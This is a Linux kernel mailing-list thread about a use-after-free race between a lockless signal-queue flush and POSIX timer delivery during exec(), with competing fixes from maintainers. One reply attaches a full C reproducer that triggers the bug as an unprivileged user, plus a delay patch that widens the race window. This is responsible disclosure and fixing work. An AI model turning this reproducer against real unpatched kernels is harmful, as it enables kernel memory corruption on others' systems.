[PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Hyunwoo Kim]

commit fb3bbcfe344e ("exit: change the release_task() paths to call
flush_sigqueue() lockless") moved the ->pending flush from __exit_signal()
to release_task(), where it runs without ->siglock. The justification was:

  after the exiting task passes __exit_signal() lock_task_sighand() can't
  succeed and pid_task(tmr->it_pid) will return NULL

That second half does not hold for the old group leader in a non-leader
exec(). de_thread() calls exchange_tids() before release_task(leader), so
the struct pid held by a SIGEV_THREAD_ID timer created against the leader's
tid now points to the thread which called execve(). pid_task() returns that
thread and lock_task_sighand() on it succeeds. It uses the same sighand the
leader used, so while the flush was still done in __exit_signal(), that one
->siglock serialized the two.

If the timer signal is blocked, its sigqueue stays queued on the leader's
->pending. The next expiry of that timer can then run while release_task()
flushes the queue.

posixtimer_send_sigqueue() checks whether the sigqueue is already queued
with a plain list_empty(), which only reads ->next. list_del_init() is not
atomic and INIT_LIST_HEAD() stores ->next before ->prev, so the check can
pass in between. list_add_tail() queues the entry on the ->pending of the
live thread, and the ->prev store from the flush then overwrites the ->prev
link that list_add_tail() has just set.

__flush_itimer_signals() does not undo that either. With ->prev pointing at
the entry itself, its list_del_init() only stores the same values again, so
the entry is not removed from the list. It is still there after the last
reference is dropped and the timer is freed by RCU, and the list_add_tail()
of a later tgkill() follows that ->prev into the freed timer:

  BUG: KASAN: slab-use-after-free in __send_signal_locked+0xb27/0xba0
  Write of size 8 at addr ffff888007ed80c8 by task poc/79
  ...
  Call Trace:
   __send_signal_locked+0xb27/0xba0
   do_send_sig_info+0xa7/0x160
   do_send_specific+0x76/0xa0
   __x64_sys_tgkill+0x193/0x270
  ...
  Allocated by task 80:
   do_timer_create+0x1a4/0x1030
   __x64_sys_timer_create+0x145/0x190
  ...
  Freed by task 12:
   kmem_cache_free_bulk+0x1f8/0x4a0
   kvfree_rcu_bulk+0x14f/0x1c0
   kfree_rcu_work+0x128/0x1a0
  ...
  Last potentially related work creation:
   kvfree_call_rcu+0x39/0x390
   __flush_itimer_signals+0x211/0x320
   flush_itimer_signals+0x47/0x90
   begin_new_exec+0xa6b/0x28c0
  ...
  The buggy address belongs to the object at ffff888007ed8040
   which belongs to the cache posix_timers_cache of size 384

Use list_del_init_careful(), which stores ->next last. A list_empty() which
sees the entry unqueued is then guaranteed that the flush will not store
into the entry any more.

Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless")
Cc: stable@vger.kernel.org
Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
---
 kernel/signal.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/kernel/signal.c b/kernel/signal.c
index bbc0fd4cc4d7c1..ec9a0a0490d19f 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue)
 	sigemptyset(&queue->signal);
 	while (!list_empty(&queue->list)) {
 		q = list_entry(queue->list.next, struct sigqueue , list);
-		list_del_init(&q->list);
+		/*
+		 * Pairs with the list_empty() in posixtimer_send_sigqueue().
+		 * release_task() gets here without ->siglock.
+		 */
+		list_del_init_careful(&q->list);
 		__sigqueue_free(q);
 	}
 }
-- 
2.43.0

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Bradley Morgan]

Hi Hyunwoo,

> That second half does not hold for the old group leader in a non-leader
> exec(). de_thread() calls exchange_tids() before release_task(leader), so
> the struct pid held by a SIGEV_THREAD_ID timer created against the
> leader's
> tid now points to the thread which called execve(). pid_task() returns
> that
> thread and lock_task_sighand() on it succeeds.

This is the part to be sure of, and it checks out. In de_thread(),
exchange_tids() runs before release_task(leader), so the timer's struct pid
resolves to the exec'ing thread instead of going stale. The "pid_task()
returns NULL" assumption from fb3bbcfe344e really does break here. Nasty
one.

> posixtimer_send_sigqueue() checks whether the sigqueue is already queued
> with a plain list_empty(), which only reads ->next. list_del_init() is
> not
> atomic and INIT_LIST_HEAD() stores ->next before ->prev, so the check can
> pass in between.

Right. INIT_LIST_HEAD() does the ->next store first, so there is a window
where the reader sees the entry as unqueued while the flush still has its
->prev store left, and that store then lands on top of the requeue.

> Use list_del_init_careful(), which stores ->next last. A list_empty()
> which
> sees the entry unqueued is then guaranteed that the flush will not store
> into the entry any more.

This reads wrong at first glance, since list_del_init_careful() is
documented
to pair with list_empty_careful(), and you leave the reader as plain
list_empty(). But it is correct, and your changelog is the reason: ->next
becomes the last store, and list_empty() gates on ->next, so seeing it
pointing at itself means the flush is fully done with the entry and nothing
can land after. That is exactly the guarantee needed here, no acquire
required
on the read.

Only nit, and optional: that reasoning is the whole patch but it lives in
the
changelog. The comment in the code just says it pairs with the
list_empty().
If someone later decides the careful/plain mix looks like a mistake and
reverts
the del back to list_del_init(), the bug comes back. One clause pinning
"must
store ->next last" to the code would stop that. Feel free to bikeshed.

> Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless")
> Cc: stable@vger.kernel.org

Both right, it landed in 6.14.

Real bug, well decoded, minimal fix.

Reviewed-by: Bradley Morgan <include@grrlz.net>

Thanks!

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Oleg Nesterov]

On 08/22, Hyunwoo Kim wrote:
>
> commit fb3bbcfe344e ("exit: change the release_task() paths to call
> flush_sigqueue() lockless") moved the ->pending flush from __exit_signal()
> to release_task(), where it runs without ->siglock. The justification was:
>
>   after the exiting task passes __exit_signal() lock_task_sighand() can't
>   succeed and pid_task(tmr->it_pid) will return NULL
>
> That second half does not hold for the old group leader in a non-leader
> exec(). de_thread() calls exchange_tids() before release_task(leader), so

Indeed... Thanks a lot!

I need some time to (try to ;) fully understand the problem and your fix...
I'll read your patch again tomorrow with a clear head.

Now... I hope that the next paragraph

    This means that after __exit_signal(tsk) nobody can play with tsk->pending
    or (if group_dead) with tsk->signal->shared_pending,

from the changelog is still true, so the only problem is that it is not
safe to play with q->list, right?

> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue)
>  	sigemptyset(&queue->signal);
>  	while (!list_empty(&queue->list)) {
>  		q = list_entry(queue->list.next, struct sigqueue , list);
> -		list_del_init(&q->list);
> +		/*
> +		 * Pairs with the list_empty() in posixtimer_send_sigqueue().
> +		 * release_task() gets here without ->siglock.
> +		 */
> +		list_del_init_careful(&q->list);
>  		__sigqueue_free(q);

Can't we avoid list_del_init() altogether? Can't flush_sigqueue() simply do

	list_for_each_entry(q, &pending->list, list)
		__sigqueue_free(q);

?

Oleg.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Hyunwoo Kim]

On Sun, Aug 23, 2026 at 02:47:10PM +0200, Oleg Nesterov wrote:
> On 08/22, Hyunwoo Kim wrote:
> >
> > commit fb3bbcfe344e ("exit: change the release_task() paths to call
> > flush_sigqueue() lockless") moved the ->pending flush from __exit_signal()
> > to release_task(), where it runs without ->siglock. The justification was:
> >
> >   after the exiting task passes __exit_signal() lock_task_sighand() can't
> >   succeed and pid_task(tmr->it_pid) will return NULL
> >
> > That second half does not hold for the old group leader in a non-leader
> > exec(). de_thread() calls exchange_tids() before release_task(leader), so
> 
> Indeed... Thanks a lot!
> 
> I need some time to (try to ;) fully understand the problem and your fix...
> I'll read your patch again tomorrow with a clear head.
> 
> Now... I hope that the next paragraph
> 
>     This means that after __exit_signal(tsk) nobody can play with tsk->pending
>     or (if group_dead) with tsk->signal->shared_pending,
> 
> from the changelog is still true, so the only problem is that it is not
> safe to play with q->list, right?

Right. lock_task_sighand() still fails, so ->pending is safe. The timer
does not go through the task, it holds q = &tmr->sigq directly.

> 
> > --- a/kernel/signal.c
> > +++ b/kernel/signal.c
> > @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue)
> >  	sigemptyset(&queue->signal);
> >  	while (!list_empty(&queue->list)) {
> >  		q = list_entry(queue->list.next, struct sigqueue , list);
> > -		list_del_init(&q->list);
> > +		/*
> > +		 * Pairs with the list_empty() in posixtimer_send_sigqueue().
> > +		 * release_task() gets here without ->siglock.
> > +		 */
> > +		list_del_init_careful(&q->list);
> >  		__sigqueue_free(q);
> 
> Can't we avoid list_del_init() altogether? Can't flush_sigqueue() simply do
> 
> 	list_for_each_entry(q, &pending->list, list)
> 		__sigqueue_free(q);
> 
> ?

__sigqueue_free() does kmem_cache_free() for anything which is not
PREALLOC, so the iterator reads q->list.next after it is freed.

And flush_signals() and selinux_bprm_committed_creds() call it on live
tasks, so the queue has to end up empty.

So,

	list_for_each_entry_safe(q, n, &queue->list, list)
		__sigqueue_free(q);
	INIT_LIST_HEAD(&queue->list);

If you are fine with it, could you submit this patch yourself? I am also
attaching the reproducer and the mdelay diff. I hope they help.


Best regards,
Hyunwoo Kim

---

diff:

diff --git a/include/linux/list.h b/include/linux/list.h
index 19212bf..f6e2beb 100644
--- a/include/linux/list.h
+++ b/include/linux/list.h
@@ -48,9 +48,12 @@
  * Initializes the list_head to point to itself.  If it is a list header,
  * the result is an empty list.
  */
+extern void __const_udelay(unsigned long xloops);
+
 static inline void INIT_LIST_HEAD(struct list_head *list)
 {
 	WRITE_ONCE(list->next, list);
+	__const_udelay(1 * 1000UL * 4295UL);	/* mdelay(1) */
 	WRITE_ONCE(list->prev, list);
 }


PoC:

#define _GNU_SOURCE
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#ifndef SIGEV_THREAD_ID
#define SIGEV_THREAD_ID 4
#endif

static pid_t old_leader_tid;
static long attempt_lead_ns;
static int timer_count = 20000;
static int timer_signal;
static int callback_offset = 1400;
static int callback_stride = 16;
static int use_preempt_train = 1;

static int64_t mono_ns(void)
{
	struct timespec ts;

	if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
		perror("clock_gettime");
		_exit(2);
	}
	return (int64_t)ts.tv_sec * 1000000000LL + ts.tv_nsec;
}

static void print_security_context(void)
{
	char line[512];
	FILE *file;

	file = fopen("/proc/self/status", "re");
	if (!file) {
		perror("fopen /proc/self/status");
	} else {
		while (fgets(line, sizeof(line), file)) {
			if (!strncmp(line, "Uid:", 4) ||
			    !strncmp(line, "Gid:", 4) ||
			    !strncmp(line, "CapEff:", 7) ||
			    !strncmp(line, "NoNewPrivs:", 11))
				fprintf(stderr, "status %s", line);
		}
		fclose(file);
	}

	file = fopen("/kernel.config", "re");
	if (!file) {
		perror("fopen /kernel.config");
		return;
	}
	while (fgets(line, sizeof(line), file)) {
		if (!strcmp(line, "# CONFIG_USER_NS is not set\n")) {
			fprintf(stderr, "kernel_config CONFIG_USER_NS=n\n");
			break;
		}
		if (!strncmp(line, "CONFIG_USER_NS=", 15)) {
			fprintf(stderr, "kernel_config %s", line);
			break;
		}
	}
	fclose(file);
}

static struct timespec ns_to_ts(int64_t ns)
{
	struct timespec ts = {
		.tv_sec = ns / 1000000000LL,
		.tv_nsec = ns % 1000000000LL,
	};

	return ts;
}

static int ktimer_create_for_tid(pid_t tid)
{
	struct sigevent sev;
	int id = -1;

	memset(&sev, 0, sizeof(sev));
	sev.sigev_notify = SIGEV_SIGNAL | SIGEV_THREAD_ID;
	sev.sigev_signo = timer_signal;
	sev._sigev_un._tid = tid;
	if (syscall(SYS_timer_create, CLOCK_MONOTONIC, &sev, &id))
		return -1;
	return id;
}

static int ktimer_arm_abs(int id, int64_t expiry)
{
	struct itimerspec its;

	memset(&its, 0, sizeof(its));
	its.it_value = ns_to_ts(expiry);
	return syscall(SYS_timer_settime, id, TIMER_ABSTIME, &its, NULL);
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set))
		perror("sched_setaffinity");
}

static void monitor_old_worker_tid(pid_t worker_tid, int64_t target)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(2, &set);
	(void)sched_setaffinity(0, sizeof(set), &set);
	while (!syscall(SYS_tgkill, old_leader_tid, worker_tid, 0))
		asm volatile("pause" ::: "memory");
	fprintf(stderr, "monitor old_worker_unhash_minus_expiry_ns=%lld errno=%d\n",
		(long long)(mono_ns() - target), errno);
	_exit(0);
}

static void run_preempt_train(int64_t target)
{
	enum { TIMERFDS = 900, GROUPS = 14 };
	int fds[TIMERFDS];

	pin_cpu(0);
	for (int i = 0; i < TIMERFDS; i++) {
		struct itimerspec its;
		int group = i % GROUPS;

		fds[i] = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC);
		if (fds[i] < 0)
			_exit(3);
		memset(&its, 0, sizeof(its));
		its.it_value = ns_to_ts(target - 50000 +
					    (int64_t)group * 50000);
		if (timerfd_settime(fds[i], TFD_TIMER_ABSTIME, &its, NULL))
			_exit(3);
	}
	{
		struct timespec done = ns_to_ts(target + 5000000);

		while (clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME,
				       &done, NULL) == EINTR)
			;
	}
	for (int i = 0; i < TIMERFDS; i++)
		close(fds[i]);
	_exit(0);
}

static void *exec_worker(void *unused)
{
	char lead_arg[32], count_arg[32], target_arg[32];
	char *argv[] = { (char *)"poc", (char *)"--post", lead_arg,
			 count_arg, target_arg, NULL };
	int64_t target, start;
	int *ids;
	int *near_order;
	unsigned char *near_used;
	int made = 0;

	(void)unused;
	pin_cpu(1);

	usleep(20000);

	ids = calloc((size_t)timer_count, sizeof(*ids));
	near_order = calloc((size_t)timer_count, sizeof(*near_order));
	near_used = calloc((size_t)timer_count, sizeof(*near_used));
	if (!ids || !near_order || !near_used) {
		perror("calloc");
		_exit(2);
	}

	for (int i = 0; i < timer_count; i++) {
		ids[i] = ktimer_create_for_tid(old_leader_tid);
		if (ids[i] < 0 || ktimer_arm_abs(ids[i], 1))
			break;
		made++;
	}
	if (made < 128) {
		fprintf(stderr, "only %d timers prepared: %s\n", made,
			strerror(errno));
		_exit(2);
	}

	start = mono_ns();
	target = start + 300000000LL;
	for (int i = 0; i < made; i++) {
		if (ktimer_arm_abs(ids[i], target + 2000000000LL)) {
			fprintf(stderr, "future arm %d failed: %s\n", i,
				strerror(errno));
			_exit(2);
		}
	}
	int near_count = 0;
	for (int k = 0; ; k++) {
		int phase = 0;
		int idx;

		if (use_preempt_train) {
			int slot = k % 32;

			phase = slot < 16 ? -192 + slot * 24 :
				192 - (slot - 16) * 24;
		}
		idx = callback_offset + callback_stride * k + phase;
		if (callback_offset + callback_stride * k - 192 >= made)
			break;
		if (idx < 0 || idx >= made || near_used[idx])
			continue;
		near_used[idx] = 1;
		near_order[near_count++] = idx;
	}
	for (int k = near_count - 1; k >= 0; k--) {
		int idx = near_order[k];

		if (ktimer_arm_abs(ids[idx], target)) {
			fprintf(stderr, "near arm %d failed: %s\n", idx,
				strerror(errno));
			_exit(2);
		}
	}

	pin_cpu(0);

	if (mono_ns() >= target - attempt_lead_ns) {
		fprintf(stderr, "setup too slow for lead %ld\n", attempt_lead_ns);
		_exit(3);
	}
	{
		pid_t worker_tid = (pid_t)syscall(SYS_gettid);
		pid_t monitor = fork();

		if (!monitor)
			monitor_old_worker_tid(worker_tid, target);
		if (monitor < 0)
			perror("fork monitor");
		if (use_preempt_train) {
			pid_t competitor = fork();

			if (!competitor)
				run_preempt_train(target);
			if (competitor < 0)
				perror("fork preempt train");
			if (setpriority(PRIO_PROCESS, 0, 19))
				perror("setpriority");
		}
	}
	while (mono_ns() < target - attempt_lead_ns)
		asm volatile("pause" ::: "memory");

	snprintf(lead_arg, sizeof(lead_arg), "%ld", attempt_lead_ns);
	snprintf(count_arg, sizeof(count_arg), "%d", made);
	snprintf(target_arg, sizeof(target_arg), "%lld", (long long)target);
	execv("/poc", argv);
	perror("execv /poc");
	_exit(2);
}

static void run_one_attempt(long lead_ns)
{
	pthread_t th;

	attempt_lead_ns = lead_ns;
	old_leader_tid = (pid_t)syscall(SYS_gettid);
	if (pthread_create(&th, NULL, exec_worker, NULL)) {
		perror("pthread_create");
		_exit(2);
	}

	syscall(SYS_exit, 0);
	__builtin_unreachable();
}

static int post_exec(int argc, char **argv)
{
	long lead = argc > 2 ? strtol(argv[2], NULL, 10) : -1;
	int made = argc > 3 ? atoi(argv[3]) : -1;
	int64_t target = argc > 4 ? strtoll(argv[4], NULL, 10) : 0;
	int64_t delta = mono_ns() - target;

	fprintf(stderr, "post lead_ns=%ld timers=%d now_minus_expiry_ns=%lld\n",
		lead, made, (long long)delta);

	usleep(500000);

#ifdef NO_TGKILL_EXIT_REAP
	fprintf(stderr, "post no_tgkill_exit_reap=1\n");
#else
	for (int i = 0; i < 256; i++) {
		if (syscall(SYS_tgkill, getpid(), syscall(SYS_gettid),
			    timer_signal) && errno != EAGAIN) {
			perror("tgkill");
			break;
		}
	}
#endif
	return 0;
}

int main(int argc, char **argv)
{
	static const long leads_ns[] = {
		220000, 240000, 260000, 280000, 300000, 320000,
		340000, 360000, 380000, 400000, 425000, 450000,
		475000, 500000, 550000, 600000, 700000, 800000,
		220000, 240000, 260000, 280000, 300000, 320000,
		340000, 360000, 380000, 400000, 425000, 450000,
		475000, 500000, 550000, 600000, 700000, 800000,
	};
	struct rlimit lim = { .rlim_cur = 200000, .rlim_max = 200000 };
	sigset_t blocked;
	long forced_lead = -1;
	int forced_repeats = 0;

	timer_signal = SIGRTMIN + 6;

	if (argc > 1 && !strcmp(argv[1], "--post"))
		return post_exec(argc, argv);
	if (argc > 1) {
		forced_lead = strtol(argv[1], NULL, 10);
		forced_repeats = argc > 2 ? atoi(argv[2]) : 1;
		if (forced_lead <= 0 || forced_repeats <= 0)
			return 2;
		if (argc > 3) {
			timer_count = atoi(argv[3]);
			if (timer_count < 128)
				return 2;
		}
		if (argc > 4)
			callback_offset = atoi(argv[4]);
		if (argc > 5)
			callback_stride = atoi(argv[5]);
		if (argc > 6)
			use_preempt_train = atoi(argv[6]) != 0;
		if (callback_offset < 0 || callback_stride <= 0)
			return 2;
	}

	pin_cpu(0);
	if (setrlimit(RLIMIT_SIGPENDING, &lim))
		perror("setrlimit RLIMIT_SIGPENDING");

	sigemptyset(&blocked);
	sigaddset(&blocked, timer_signal);
	if (pthread_sigmask(SIG_BLOCK, &blocked, NULL)) {
		perror("pthread_sigmask");
		return 2;
	}

	if (!getuid()) {
		if (setgid(65534) || setuid(65534)) {
			perror("drop privileges");
			return 2;
		}
	}
	print_security_context();
	fprintf(stderr, "controller uid=%d timers=%d\n", getuid(), timer_count);

	for (size_t i = 0;
	     i < (forced_lead > 0 ? (size_t)forced_repeats :
		  sizeof(leads_ns) / sizeof(leads_ns[0]));
	     i++) {
		pid_t child = fork();
		long lead = forced_lead > 0 ? forced_lead : leads_ns[i];
		int status;

		if (forced_lead <= 0) {
			callback_offset = 500 + (int)(i % 12) * 300;
			callback_stride = 14 + (int)(i / 12) % 3;
		}

		if (child < 0) {
			perror("fork");
			return 2;
		}
		if (!child)
			run_one_attempt(lead);
		if (waitpid(child, &status, 0) != child) {
			perror("waitpid");
			return 2;
		}
		fprintf(stderr, "trial lead_ns=%ld status=%#x\n",
			lead, status);
	}
	return 0;
}

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Sat, Aug 22 2026 at 14:37, Hyunwoo Kim wrote:
> diff --git a/kernel/signal.c b/kernel/signal.c
> index bbc0fd4cc4d7c1..ec9a0a0490d19f 100644
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue)
>  	sigemptyset(&queue->signal);
>  	while (!list_empty(&queue->list)) {
>  		q = list_entry(queue->list.next, struct sigqueue , list);
> -		list_del_init(&q->list);
> +		/*
> +		 * Pairs with the list_empty() in posixtimer_send_sigqueue().

No. That list_empty() would need to be changed to list_empty_careful()
to be correct on weakly ordered architectures.

Aside of that I'm not convinced that this is the right way to handle
this as it cures the symptom and not the underlying problem. Let me
stare at this some more.

Thanks,

        tglx

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Oleg Nesterov]

On 08/24, Hyunwoo Kim wrote:
>
> On Sun, Aug 23, 2026 at 02:47:10PM +0200, Oleg Nesterov wrote:
> >
> > Can't we avoid list_del_init() altogether? Can't flush_sigqueue() simply do
> >
> > 	list_for_each_entry(q, &pending->list, list)
> > 		__sigqueue_free(q);
> >
> > ?
>
> __sigqueue_free() does kmem_cache_free() for anything which is not
> PREALLOC, so the iterator reads q->list.next after it is freed.

Yes, sorry, I meant _safe() of course...

> And flush_signals() and selinux_bprm_committed_creds() call it on live
> tasks, so the queue has to end up empty.

Right, thanks, I forgot that flush_sigqueue() has other callers.

> So,
>
> 	list_for_each_entry_safe(q, n, &queue->list, list)
> 		__sigqueue_free(q);
> 	INIT_LIST_HEAD(&queue->list);
>
> If you are fine with it, could you submit this patch yourself? I am also
> attaching the reproducer and the mdelay diff. I hope they help.

Let me think about it a bit more... And thanks a lot again.

Oleg.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Mon, Aug 24 2026 at 10:04, Thomas Gleixner wrote:

> On Sat, Aug 22 2026 at 14:37, Hyunwoo Kim wrote:
>> diff --git a/kernel/signal.c b/kernel/signal.c
>> index bbc0fd4cc4d7c1..ec9a0a0490d19f 100644
>> --- a/kernel/signal.c
>> +++ b/kernel/signal.c
>> @@ -482,7 +482,11 @@ void flush_sigqueue(struct sigpending *queue)
>>  	sigemptyset(&queue->signal);
>>  	while (!list_empty(&queue->list)) {
>>  		q = list_entry(queue->list.next, struct sigqueue , list);
>> -		list_del_init(&q->list);
>> +		/*
>> +		 * Pairs with the list_empty() in posixtimer_send_sigqueue().
>
> No. That list_empty() would need to be changed to list_empty_careful()
> to be correct on weakly ordered architectures.
>
> Aside of that I'm not convinced that this is the right way to handle
> this as it cures the symptom and not the underlying problem. Let me
> stare at this some more.

Something like the untested below.

Thanks,

        tglx
---
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -983,6 +983,18 @@ static int de_thread(struct task_struct
 		}
 
 		/*
+		 * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for
+		 * the former leader are removed under sighand::siglock _before_
+		 * taking over the leader's TID. Otherwise the lockless cleanup
+		 * in release_task() can race against a concurrent signal
+		 * delivery to the new leader. The former leader has PF_EXITING
+		 * set which prevents queueing of SIGEV_THREAD_ID signals up to
+		 * the point where it's sighand gets cleared.
+		 */
+		scoped_guard(spinlock_irq, lock)
+			flush_sigqueue(&leader->pending);
+
+		/*
 		 * The only record we have of the real-time age of a
 		 * process, regardless of execs it's done, is start_time.
 		 * All the past CPU time is accumulated in signal_struct
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -1998,6 +1998,13 @@ void posixtimer_send_sigqueue(struct k_i
 		return;
 
 	/*
+	 * If the signal is targeted at a specific thread, validate with sighand
+	 * lock held that the thread is not exiting.
+	 */
+	if (unlikely(tmr->it_pid_type == PIDTYPE_PID  && t->flags & PF_EXITING))
+		goto unlock;
+
+	/*
 	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
 	 * locked to prevent a race against dequeue_signal().
 	 */
@@ -2088,6 +2095,7 @@ void posixtimer_send_sigqueue(struct k_i
 	result = TRACE_SIGNAL_DELIVERED;
 out:
 	trace_signal_generate(sig, &q->info, t, tmr->it_pid_type != PIDTYPE_PID, result);
+unlock:
 	unlock_task_sighand(t, &flags);
 }
 

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Oleg Nesterov]

On 08/24, Thomas Gleixner wrote:
>
> --- a/fs/exec.c
> +++ b/fs/exec.c
> @@ -983,6 +983,18 @@ static int de_thread(struct task_struct
>  		}
>
>  		/*
> +		 * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for
> +		 * the former leader are removed under sighand::siglock _before_
> +		 * taking over the leader's TID. Otherwise the lockless cleanup
> +		 * in release_task() can race against a concurrent signal
> +		 * delivery to the new leader. The former leader has PF_EXITING
> +		 * set which prevents queueing of SIGEV_THREAD_ID signals up to
> +		 * the point where it's sighand gets cleared.
> +		 */
> +		scoped_guard(spinlock_irq, lock)
> +			flush_sigqueue(&leader->pending);

Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's
(before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any
changes, no?

Oleg.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Oleg Nesterov]

On 08/24, Oleg Nesterov wrote:
>
> On 08/24, Thomas Gleixner wrote:
> >
> > --- a/fs/exec.c
> > +++ b/fs/exec.c
> > @@ -983,6 +983,18 @@ static int de_thread(struct task_struct
> >  		}
> >
> >  		/*
> > +		 * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for
> > +		 * the former leader are removed under sighand::siglock _before_
> > +		 * taking over the leader's TID. Otherwise the lockless cleanup
> > +		 * in release_task() can race against a concurrent signal
> > +		 * delivery to the new leader. The former leader has PF_EXITING
> > +		 * set which prevents queueing of SIGEV_THREAD_ID signals up to
> > +		 * the point where it's sighand gets cleared.
> > +		 */
> > +		scoped_guard(spinlock_irq, lock)
> > +			flush_sigqueue(&leader->pending);

scoped_guard(spinlock_irq) is not right. This needs scoped_guard(spinlock),
the code runs with irqs disabled.

> Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's
> (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any
> changes, no?

IOW. Unless I am totally confused, we only need to flush the
SIGQUEUE_PREALLOC sigqueue's which were sent to the (old) leader
before it changed its pid. So we can do this

diff --git a/fs/exec.c b/fs/exec.c
index a14f28b15607..550367e7fe6c 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk)
 		write_unlock_irq(&tasklist_lock);
 		cgroup_threadgroup_change_end(tsk);
 
+		scoped_guard(spinlock_irq, lock)
+			flush_sigqueue(&leader->pending);
+
 		release_task(leader);
 	}

outside of tasklist_lock.

We do not care if another sigqueue (SIGQUEUE_PREALLOC or not) comes to
leader->pending after that.

No?

Either way, this means that flush_sigqueue() is called again with irqs
disabled... Not a real problem, but can the change below work? Yes,
more fragile and probably "fixes symptom"...

Oleg.

diff --git a/kernel/signal.c b/kernel/signal.c
index bbc0fd4cc4d7..4d12ebba33f9 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -477,14 +477,14 @@ static void __sigqueue_free(struct sigqueue *q)
 
 void flush_sigqueue(struct sigpending *queue)
 {
-	struct sigqueue *q;
+	struct sigqueue *q, *n;
 
 	sigemptyset(&queue->signal);
-	while (!list_empty(&queue->list)) {
-		q = list_entry(queue->list.next, struct sigqueue , list);
-		list_del_init(&q->list);
+
+	list_for_each_entry_safe(q, n, &queue->list, list)
 		__sigqueue_free(q);
-	}
+
+	INIT_LIST_HEAD(&queue->list);
 }
 
 /*

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Mon, Aug 24 2026 at 13:02, Oleg Nesterov wrote:
> On 08/24, Thomas Gleixner wrote:
>>
>> --- a/fs/exec.c
>> +++ b/fs/exec.c
>> @@ -983,6 +983,18 @@ static int de_thread(struct task_struct
>>  		}
>>
>>  		/*
>> +		 * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for
>> +		 * the former leader are removed under sighand::siglock _before_
>> +		 * taking over the leader's TID. Otherwise the lockless cleanup
>> +		 * in release_task() can race against a concurrent signal
>> +		 * delivery to the new leader. The former leader has PF_EXITING
>> +		 * set which prevents queueing of SIGEV_THREAD_ID signals up to
>> +		 * the point where it's sighand gets cleared.
>> +		 */
>> +		scoped_guard(spinlock_irq, lock)
>> +			flush_sigqueue(&leader->pending);
>
> Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's
> (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any
> changes, no?

That should work nicely.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Frederic Weisbecker]

Le Mon, Aug 24, 2026 at 01:54:26PM +0200, Oleg Nesterov a écrit :
> On 08/24, Oleg Nesterov wrote:
> >
> > On 08/24, Thomas Gleixner wrote:
> > >
> > > --- a/fs/exec.c
> > > +++ b/fs/exec.c
> > > @@ -983,6 +983,18 @@ static int de_thread(struct task_struct
> > >  		}
> > >
> > >  		/*
> > > +		 * Ensure that POSIX timer SIGEV_THREAD_ID signals pending for
> > > +		 * the former leader are removed under sighand::siglock _before_
> > > +		 * taking over the leader's TID. Otherwise the lockless cleanup
> > > +		 * in release_task() can race against a concurrent signal
> > > +		 * delivery to the new leader. The former leader has PF_EXITING
> > > +		 * set which prevents queueing of SIGEV_THREAD_ID signals up to
> > > +		 * the point where it's sighand gets cleared.
> > > +		 */
> > > +		scoped_guard(spinlock_irq, lock)
> > > +			flush_sigqueue(&leader->pending);
> 
> scoped_guard(spinlock_irq) is not right. This needs scoped_guard(spinlock),
> the code runs with irqs disabled.
> 
> > Hmm, at first glance... If we change de_thread() to do this _after_ transfer_pid's
> > (before release_task(leader)), then posixtimer_send_sigqueue() doesn't need any
> > changes, no?
> 
> IOW. Unless I am totally confused, we only need to flush the
> SIGQUEUE_PREALLOC sigqueue's which were sent to the (old) leader
> before it changed its pid. So we can do this
> 
> diff --git a/fs/exec.c b/fs/exec.c
> index a14f28b15607..550367e7fe6c 100644
> --- a/fs/exec.c
> +++ b/fs/exec.c
> @@ -1029,6 +1029,9 @@ static int de_thread(struct task_struct *tsk)
>  		write_unlock_irq(&tasklist_lock);
